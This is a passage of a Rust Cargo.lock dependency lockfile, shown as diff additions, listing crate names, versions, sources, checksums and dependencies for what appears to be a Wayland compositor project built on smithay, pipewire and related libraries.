"registry+https://github.com/rust-lang/crates.io-index" +checksum = "827c5edfa80235ded4ab3fe8e9dc619b4f866ef16fe9b1c6b8a7f8692c0f2226" +dependencies = [ + "log", + "mac-notification-sys", + "serde", + "tauri-winrt-notification", + "zbus", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "num-conv" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" + +[[package]] +name = "num-traits" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" +dependencies = [ + "autocfg", + "libm", +] + +[[package]] +name = "num_enum" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "02339744ee7253741199f897151b38e72257d13802d4ee837285cc2990a90845" +dependencies = [ + "num_enum_derive", +] + +[[package]] +name = "num_enum_derive" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "681030a937600a36906c185595136d26abfebb4aa9c65701cefcaf8578bb982b" +dependencies = [ + "proc-macro-crate 3.1.0", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "objc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" +dependencies = [ + "malloc_buf", +] + +[[package]] +name = "objc-foundation" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9" +dependencies = [ + "block", + "objc", + "objc_id", +] + +[[package]] +name = "objc-sys" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7c71324e4180d0899963fc83d9d241ac39e699609fc1025a850aadac8257459" + +[[package]] +name = "objc2" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "559c5a40fdd30eb5e344fbceacf7595a81e242529fb4e21cf5f43fb4f11ff98d" +dependencies = [ + "objc-sys", + "objc2-encode", +] + +[[package]] +name = "objc2-encode" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d079845b37af429bfe5dfa76e6d087d788031045b25cfc6fd898486fd9847666" + +[[package]] +name = "objc_id" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b" +dependencies = [ + "objc", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "option-ext" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d" + +[[package]] +name = "orbclient" +version = "0.3.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52f0d54bde9774d3a51dcf281a5def240c71996bc6ca05d2c847ec8b2b216166" +dependencies = [ + "libredox 0.0.2", +] + +[[package]] +name = "ordered-stream" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aa2b01e1d916879f73a53d01d1d6cee68adbb31d6d9177a8cfce093cced1d50" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "pango" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78d7f779b957728c74fd1a060dfa6d89a0bea792ebc50cc2da80e4e87282d69e" +dependencies = [ + "gio", + "glib", + "libc", + "pango-sys", +] + +[[package]] +name = "pango-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f52ef6a881c19fbfe3b1484df5cad411acaaba29dbec843941c3110d19f340ea" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "pangocairo" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9615c6294903a6ea26fa63984b18e51275354d1fa91bbde68eeb7fa3ab61a72f" +dependencies = [ + "cairo-rs", + "glib", + "libc", + "pango", + "pangocairo-sys", +] + +[[package]] +name = "pangocairo-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01bd0597ae45983f9e8b7f73afc42238426cd3fbb44a9cf14fd881a4ae08f1e4" +dependencies = [ + "cairo-sys-rs", + "glib-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "parking" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb813b8af86854136c6922af0598d719255ecb2179515e6e7730d468f05c9cae" + +[[package]] +name = "paste" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "piper" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "668d31b1c4eba19242f2088b2bf3316b82ca31082a8335764db4e083db7485d4" +dependencies = [ + "atomic-waker", + "fastrand 2.0.1", + "futures-io", +] + +[[package]] +name = "pipewire" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08e645ba5c45109106d56610b3ee60eb13a6f2beb8b74f8dc8186cf261788dda" +dependencies = [ + "anyhow", + "bitflags 2.4.2", + "libc", + "libspa", + "libspa-sys", + "nix 0.27.1", + "once_cell", + "pipewire-sys", + "thiserror", +] + +[[package]] +name = "pipewire-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "849e188f90b1dda88fe2bfe1ad31fe5f158af2c98f80fb5d13726c44f3f01112" +dependencies = [ + "bindgen", + "libspa-sys", + "system-deps", +] + +[[package]] +name = "pixman" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d24a24da0bec14f4e43a495c1837a3c358b87532e7fe66bd75c348b89f0451b6" +dependencies = [ + "drm-fourcc", + "paste", + "pixman-sys", + "thiserror", +] + +[[package]] +name = "pixman-sys" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1a0483e89e81d7915defe83c51f23f6800594d64f6f4a21253ce87fd8444ada" + +[[package]] +name = "pkg-config" +version = "0.3.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb" + +[[package]] +name = "png" +version = "0.17.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f6c3c3e617595665b8ea2ff95a86066be38fb121ff920a9c0eb282abcd1da5a" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide", +] + +[[package]] +name = "polling" +version = "2.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b2d323e8ca7996b3e23126511a523f7e62924d93ecd5ae73b333815b0eb3dce" +dependencies = [ + "autocfg", + "bitflags 1.3.2", + "cfg-if", + "concurrent-queue", + "libc", + "log", + "pin-project-lite", + "windows-sys 0.48.0", +] + +[[package]] +name = "polling" +version = "3.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30054e72317ab98eddd8561db0f6524df3367636884b7b21b703e4b280a84a14" +dependencies = [ + "cfg-if", + "concurrent-queue", + "pin-project-lite", + "rustix 0.38.31", + "tracing", + "windows-sys 0.52.0", +] + +[[package]] +name = "portable-atomic" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7170ef9988bc169ba16dd36a7fa041e5c4cbeb6a35b76d4c03daded371eae7c0" + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "proc-macro-crate" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" +dependencies = [ + "once_cell", + "toml_edit 0.19.15", +] + +[[package]] +name = "proc-macro-crate" +version = "3.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d37c51ca738a55da99dc0c4a34860fd675453b8b36209178c2249bb13651284" +dependencies = [ + "toml_edit 0.21.1", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro2" +version = "1.0.78" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "profiling" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f0f7f43585c34e4fdd7497d746bc32e14458cf11c69341cc0587b1d825dde42" +dependencies = [ + "profiling-procmacros", + "tracy-client", +] + +[[package]] +name = "profiling-procmacros" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce97fecd27bc49296e5e20518b5a1bb54a14f7d5fe6228bc9686ee2a74915cc8" +dependencies = [ + "quote", + "syn 2.0.48", +] + +[[package]] +name = "proptest" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31b476131c3c86cb68032fdc5cb6d5a1045e3e42d96b69fa599fd77701e1f5bf" +dependencies = [ + "bit-set", + "bit-vec", + "bitflags 2.4.2", + "lazy_static", + "num-traits", + "rand", + "rand_chacha", + "rand_xorshift", + "regex-syntax 0.8.2", + "rusty-fork", + "tempfile", + "unarray", +] + +[[package]] +name = "proptest-derive" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cf16337405ca084e9c78985114633b6827711d22b9e6ef6c6c0d665eb3f0b6e" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "quick-error" +version = "1.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1d01941d82fa2ab50be1e79e6714289dd7cde78eba4c074bc5a4374f650dfe0" + +[[package]] +name = "quick-xml" +version = "0.30.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eff6510e86862b57b210fd8cbe8ed3f0d7d600b9c2863cd4549a2e033c66e956" +dependencies = [ + "memchr", +] + +[[package]] +name = "quick-xml" +version = "0.31.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33" +dependencies = [ + "memchr", +] + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "rand_xorshift" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d25bf25ec5ae4a3f1b92f929810509a2f53d7dca2f50b794ff57e3face536c8f" +dependencies = [ + "rand_core", +] + +[[package]] +name = "raw-window-handle" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42a9830a0e1b9fb145ebb365b8bc4ccd75f290f98c0247deafbbe2c75cefb544" + +[[package]] +name = "redox_syscall" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_users" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" +dependencies = [ + "getrandom", + "libredox 0.0.1", + "thiserror", +] + +[[package]] +name = "regex" +version = "1.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.5", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.37.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fea8ca367a3a01fe35e6943c400addf443c0f57670e6ec51196f71a4b8762dd2" +dependencies = [ + "bitflags 1.3.2", + "errno", + "io-lifetimes 1.0.11", + "libc", + "linux-raw-sys 0.3.8", + "windows-sys 0.48.0", +] + +[[package]] +name = "rustix" +version = "0.38.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ea3e1a662af26cd7a3ba09c0297a31af215563ecf42817c98df621387f4e949" +dependencies = [ + "bitflags 2.4.2", + "errno", + "libc", + "linux-raw-sys 0.4.13", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "rusty-fork" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb3dcc6e454c328bb824492db107ab7c0ae8fcffe4ad210136ef014458c1bc4f" +dependencies = [ + "fnv", + "quick-error", + "tempfile", + "wait-timeout", +] + +[[package]] +name = "ryu" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" + +[[package]] +name = "same-file" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "scan_fmt" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b53b0a5db882a8e2fdaae0a43f7b39e7e9082389e978398bdf223a55b581248" + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] +name = "sd-notify" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "621e3680f3e07db4c9c2c3fb07c6223ab2fab2e54bd3c04c3ae037990f428c32" + +[[package]] +name = "semver" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" + +[[package]] +name = "serde" +version = "1.0.196" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.196" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serde_json" +version = "1.0.113" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69801b70b1c3dac963ecb03a364ba0ceda9cf60c71cfe475e99864759c8b8a79" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_repr" +version = "0.1.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serde_spanned" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" +dependencies = [ + "serde", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" + +[[package]] +name = "smithay" +version = "0.3.0" +source = "git+https://github.com/Smithay/smithay.git#832dee8586d783d4c60a162ef8aabca2ba7fd499" +dependencies = [ + "appendlist", + "bitflags 2.4.2", + "calloop", + "cc", + "cgmath", + "cursor-icon", + "downcast-rs", + "drm", + "drm-ffi", + "drm-fourcc", + "errno", + "gbm", + "gl_generator", + "indexmap", + "input", + "lazy_static", + "libc", + "libloading", + "libseat", + "once_cell", + "pixman", + "pkg-config", + "profiling", + "rand", + "rustix 0.38.31", + "scan_fmt", + "smallvec", + "tempfile", + "thiserror", + "tracing", + "udev", + "wayland-backend", + "wayland-egl", + "wayland-protocols", + "wayland-protocols-misc", + "wayland-protocols-wlr", + "wayland-server", + "wayland-sys", + "winit", + "xkbcommon", +] + +[[package]] +name = "smithay-client-toolkit" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "922fd3eeab3bd820d76537ce8f582b1cf951eceb5475c28500c7457d9d17f53a" +dependencies = [ + "bitflags 2.4.2", + "calloop", + "calloop-wayland-source", + "cursor-icon", + "libc", + "log", + "memmap2 0.9.4", + "rustix 0.38.31", + "thiserror", + "wayland-backend", + "wayland-client", + "wayland-csd-frame", + "wayland-cursor", + "wayland-protocols", + "wayland-protocols-wlr", + "wayland-scanner", + "xkeysym", +] + +[[package]] +name = "smithay-drm-extras" +version = "0.1.0" +source = "git+https://github.com/Smithay/smithay.git#832dee8586d783d4c60a162ef8aabca2ba7fd499" +dependencies = [ + "drm", + "edid-rs", +] + +[[package]] +name = "smol_str" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6845563ada680337a52d43bb0b29f396f2d911616f6573012645b9e3d048a49" +dependencies = [ + "serde", +] + +[[package]] +name = "socket2" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "system-deps" +version = "6.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" +dependencies = [ + "cfg-expr", + "heck", + "pkg-config", + "toml", + "version-compare", +] + +[[package]] +name = "target-lexicon" +version = "0.12.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69758bda2e78f098e4ccb393021a0963bb3442eac05f135c30f61b7370bbafae" + +[[package]] +name = "tauri-winrt-notification" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "006851c9ccefa3c38a7646b8cec804bb429def3da10497bfa977179869c3e8e2" +dependencies = [ + "quick-xml 0.30.0", + "windows 0.51.1", +] + +[[package]] +name = "tempfile" +version = "3.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a365e8cd18e44762ef95d87f284f4b5cd04107fec2ff3052bd6a3e6069669e67" +dependencies = [ + "cfg-if", + "fastrand 2.0.1", + "rustix 0.38.31", + "windows-sys 0.52.0", +] + +[[package]] +name = "thiserror" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "thread_local" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "time" +version = "0.3.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8248b6521bb14bc45b4067159b9b6ad792e2d6d754d6c41fb50e29fefe38749" +dependencies = [ + "deranged", + "num-conv", + "powerfmt", + "serde", + "time-core", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "toml" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.22.4", +] + +[[package]] +name = "toml_datetime" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.19.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +dependencies = [ + "indexmap", + "toml_datetime", + "winnow", +] + +[[package]] +name = "toml_edit" +version = "0.21.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8534fd7f78b5405e860340ad6575217ce99f38d4d5c8f2442cb5ecb50090e1" +dependencies = [ + "indexmap", + "toml_datetime", + "winnow", +] + +[[package]] +name = "toml_edit" +version = "0.22.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c9ffdf896f8daaabf9b66ba8e77ea1ed5ed0f72821b398aba62352e95062951" +dependencies = [ + "indexmap", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 